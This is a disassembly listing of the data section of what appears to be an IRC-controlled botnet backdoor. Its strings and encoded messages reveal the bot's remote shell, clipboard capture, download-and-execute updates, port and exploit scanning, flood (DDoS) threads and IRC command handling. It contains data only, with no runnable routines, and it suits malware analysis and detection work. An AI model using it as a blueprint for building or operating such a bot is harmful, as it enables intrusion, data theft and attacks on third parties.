aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_433464 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_40CE55+596Fo dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h dd 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40CE55+5969o align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_40CE55+5962o align 4 aSec db 'sec',0 ; DATA XREF: sub_40CE55+5907o aSecure db 'secure',0 ; DATA XREF: sub_40CE55+58F6o align 4 unk_4334B4 db 2 ; DATA XREF: sub_40CE55+58EBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_433500 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40CE55+57C9o dword_433510 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40CE55+57C4o dword_43351C dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40CE55+57B1o dword_433528 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40CE55+57ACo dword_433538 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5779o dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h dd 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_4125C1o align 4 dword_43357C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5757o dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh dd 2E676E69h, 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_41259Fo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5722o align 10h dword_4335D0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+56D6o dd 2029206Ch, 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 10h dword_433610 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5698o dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah dd 2Eh dword_43363C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55+566Do dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_433688 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55+5602o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h dd 61657268h, 2E7364h dword_4336B8 dd 627573h ; DATA XREF: sub_40CE55+55DCo dword_4336BC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+558Do dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch dd 2Eh dword_4336E8 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40CE55+5572o dd 2029206Ch, 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_433734 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40CE55+54E5o dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h dd 2E67h dword_433760 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5464o dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh dd 2E6F66h dword_43378C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5435o dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h dd 2E6Fh dword_4337B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+53E0o dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh dd 2E746Fh dword_4337E4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55+53CDo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStar_9 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_433834 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55+535Eo dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh dd 6C207373h, 2E747369h, 0 aFull db 'full',0 ; DATA XREF: sub_40CE55+533Eo align 10h dword_433870 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55+52E7o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyRunning db ' Already running.',0 align 4 unk_4338A4 db 2 ; DATA XREF: sub_40CE55+52BBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 64h, 6Bh, 65h db 79h ; y db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_4338D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+526Fo dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah dd 2Eh dword_433904 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_412027o dd 2029206Ch, 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_433938 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CE55+51CBo dd 2029206Ch, 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 4 dword_433974 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CE55+51AFo dd 2029206Ch, 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_4339B0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5199o dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h dd 2E647261h, 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CE55+516Bo align 4 unk_4339F4 db 2 ; DATA XREF: sub_40CE55:loc_411FB0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_433A34 db 2 ; DATA XREF: sub_40CE55+5140o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_433A6C db 2 ; DATA XREF: sub_40CE55:loc_411F85o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_433AAC db 2 ; DATA XREF: sub_40CE55:loc_411F7Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 4 unk_433AEC db 2 ; DATA XREF: sub_40CE55+5122o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 unk_433B24 db 2 ; DATA XREF: sub_40CE55+50A4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_10 db 'Failed to start server thread, error: <%d>.',0 unk_433B70 db 2 ; DATA XREF: sub_40CE55+4F32o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_433BBC db 2 ; DATA XREF: sub_40CE55+4E0Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_0 db 'Already running.',0 align 10h dword_433BF0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55:loc_411C49o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_12 db ' Failed to start scan, port is invalid.',0 align 4 dword_433C3C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55+4D35o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 dword_433CB8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4AF9o dd 2029206Ch, 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 10h dword_433CF0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4AE0o dd 2029206Ch, 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_433D24 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4AC0o dd 2029206Ch, 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_433D58 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4AA7o dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h dd 2E73h dword_433D84 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55:loc_41187Eo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 dword_433DC4 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55+4A22o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_433DFC dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55:loc_411831o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_433E38 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55+49D2o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_40CE55+49B8o aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+492Do ; sub_40CE55:loc_412589o align 4 dword_433E88 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+48B7o dd 2029206Ch, 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_433EC0 db 2 ; DATA XREF: sub_40CE55:loc_4116F7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0 align 4 unk_433EF8 db 2 ; DATA XREF: sub_40CE55+4898o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFileOpenedS db 'File opened: %s',0 dword_433F28 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+486Fo dd 2029206Ch, 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 10h dword_433F60 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_4116A8o dd 2029206Ch, 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_433F9C dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: sub_40CE55+4825o dd 2029206Ch, 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 dword_433FCC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55:loc_411646o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTermin db ' Failed to terminate process: %s',0 align 10h dword_434010 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55+47E7o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledS db ' Process killed: %s',0 align 4 dword_434048 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55:loc_4115E6o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 align 10h dword_434090 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55+478Ao dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledI db ' Process killed ID: %s',0 dword_4340C8 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: sub_40CE55+4749o dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h dd 2E277325h, 0 dword_4340F8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+46C4o dd 2029206Ch, 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 10h dword_434130 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: sub_40CE55+4652o dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_434158 db 2 ; DATA XREF: sub_40CE55+4637o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_13 db 'Failed to start connection thread, error: <%d>.',0 dword_4341A8 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40CE55+45C8o dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h dd 0 dword_4341D4 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh ; DATA XREF: sub_40CE55:loc_4113AEo dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh dd 2E746E65h, 0 unk_434204 db 2 ; DATA XREF: sub_40CE55+454Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Dh ; m db 69h, 72h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_434234 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CE55+451Eo dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h dd 7325h dword_434260 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CE55+4513o dd 2029206Ch, 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 10h dword_4342A0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+44D3o dd 2029206Ch, 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_4342D4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+44BFo dd 2029206Ch, 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_43430C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+443Ao dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h dd 2E73h dword_434338 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+43FFo dd 2029206Ch, 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_43437C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+43E3o dd 2029206Ch, 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_4343B4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4361o dd 2029206Ch, 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_4343E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4326o dd 2029206Ch, 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_434414 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+42D0o dd 2029206Ch, 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 dword_434444 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4268o dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0 dword_43446C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40CE55+422Eo ; sub_40CE55+4AB2o dword_434478 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+41FFo dd 2029206Ch, 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+41F1o align 4 dword_4344B4 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: sub_40CE55+41C8o dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h dd 7325203Ah, 0 dword_4344E4 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: sub_40CE55+415Do dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h dd 25203A29h, 73h dword_434514 dd 45444F4Dh, 732520h ; DATA XREF: sub_40CE55+4108o dword_43451C dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: sub_40CE55+40D3o dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h dd 25203A29h, 73h dword_43454C dd 4B43494Eh, 732520h ; DATA XREF: sub_40CE55+407Do ; sub_40CE55+48F9o dword_434554 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40CE55+405Eo dword_434560 dd 54524150h, 732520h ; DATA XREF: sub_40CE55+3FF4o dword_434568 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_410E36o dd 2029206Ch, 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 10h dword_4345B0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+3FAAo dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah dd 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40CE55+3F59o align 4 dword_4345E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_410D66o dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_43460C dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40CE55+3ED1o ; sub_40CE55+3F84o ... unk_43461C db 2 ; DATA XREF: sub_40CE55:loc_410CD5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_434674 db 2 ; DATA XREF: sub_40CE55+3E76o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_4346C4 db 2 ; DATA XREF: sub_40CE55+3E07o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40CE55+3D61o align 10h dword_434710 dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh ; DATA XREF: sub_40CE55+3D02o dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh dd 732520h unk_43473C db 2 ; DATA XREF: sub_40CE55+3CE9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 65h ; e db 78h, 65h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_434774 db 2 ; DATA XREF: sub_40CE55+3C61o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_4347C4 db 2 ; DATA XREF: sub_40CE55+3BE7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_434808 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: sub_40CE55:loc_41099Eo ; sub_40CE55:loc_4115A5o dd 29206C1Fh, 0BBBB0220h, 2002h unk_434828 db 2 ; DATA XREF: sub_40CE55+3B34o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_434860 db 2 ; DATA XREF: sub_40CE55:loc_410967o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 4 unk_4348AC db 2 ; DATA XREF: sub_40CE55+3B08o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_4348F8 db 2 ; DATA XREF: sub_40CE55+3A8Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_434938 db 2 ; DATA XREF: sub_40CE55+3A17o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_15 db ' Failed to start clone thread, error: <%d>.',0 unk_434984 db 2 ; DATA XREF: sub_40CE55+39A8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_4349C8 db 2 ; DATA XREF: sub_40CE55+3920o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_434A14 db 2 ; DATA XREF: sub_40CE55+38A8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_434A58 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; 